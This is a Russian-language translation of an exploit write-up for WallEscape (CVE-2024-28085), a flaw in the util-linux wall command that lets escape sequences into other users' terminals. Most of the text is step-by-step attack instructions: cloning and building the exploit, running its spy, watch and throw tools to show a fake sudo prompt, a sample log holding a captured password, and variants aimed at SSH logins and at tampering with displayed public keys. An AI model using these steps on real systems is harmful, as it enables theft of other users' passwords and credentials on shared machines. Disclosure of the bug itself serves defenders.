
Уязвимость WallEscape в util-linux
Команда wall из util-linux не фильтрует escape-последовательности в аргументах командной строки. Уязвимый код был добавлен в коммите cdd3cc7fa4 (2013). Все версии с тех пор уязвимы. Полный отчёт можно найти здесь. Я назвал этот баг «WallEscape».
Этот код эксплойта успешно перехватывал пароли в Ubuntu 22.04 с настройками по умолчанию.
Убедитесь, что цвет фона и имя пользователя заданы подходящими значениями в throw.c.
Подготовка атаки
git clone https://github.com/skyler-ferrante/CVE-2024-28085.git
./build.sh
./spy > proc.log & ./watch "sudo systemctl start apache2"; ./watch "systemctl start apache2"; sleep .01; ./throw
Я использовал sudo systemctl start apache2, так как она короткая и не выдаёт много вывода. Не забудьте убить spy после запуска эксплойта: pkill spy.
Затем в другом терминале
sudo su
sudo systemctl start apache2
В зависимости от системы жертве может не понадобиться вызывать su, а также в зависимости от того, идёт ли доступ локально или через ssh.
Это должно вызвать появление поддельного приглашения sudo в терминале жертвы. Поскольку многие системы раскрывают ненайденные команды, пароль жертвы может появиться в proc.log.
Пример proc.log
sudo systemctl start apache2
systemctl start apache2
./throw
bash
/usr/bin/python3 /usr/lib/command-not-found -- Password123!
/usr/bin/snap advise-snap --format=json --command Password123!
Некоторые люди неправильно поняли, в каких сценариях это можно использовать для атаки на другого пользователя. Нам не нужно атаковать sudo — мы можем атаковать любое место, где пользователь вводит свой пароль. В моей системе после входа пользователя через OpenSSH выполняется команда /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new.
Для перехвата паролей пользователей OpenSSH представьте, что вы выполняете следующее:
./watch "sh -c /usr/bin/env -i PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin run-parts --lsbsysinit /etc/update-motd.d > /run/motd.dynamic.new"; sleep 1; ./throw
Затем мы можем отправить сообщение «неверный пароль» после того, как пользователь правильно войдёт через SSH. Sudo — это лишь команда, которую я выбрал для демонстрации, но возможных целей много. Нетрудно представить атакующего, настраивающего сборщик учётных данных, чтобы собирать учётные данные каждого пользователя, входящего через SSH. Это возможно даже для самых непривилегированных пользователей, таких как www-data.
Эта уязвимость также даёт атакующим возможность изменять вывод любой команды. Представьте, что мы дождались команды cat ~/.ssh/id_rsa.pub". Атакующий может изменить то, что пользователь копирует для своего публичного ключа. При таком стиле атаки нам не нужен примитив утечки для ненайденных команд.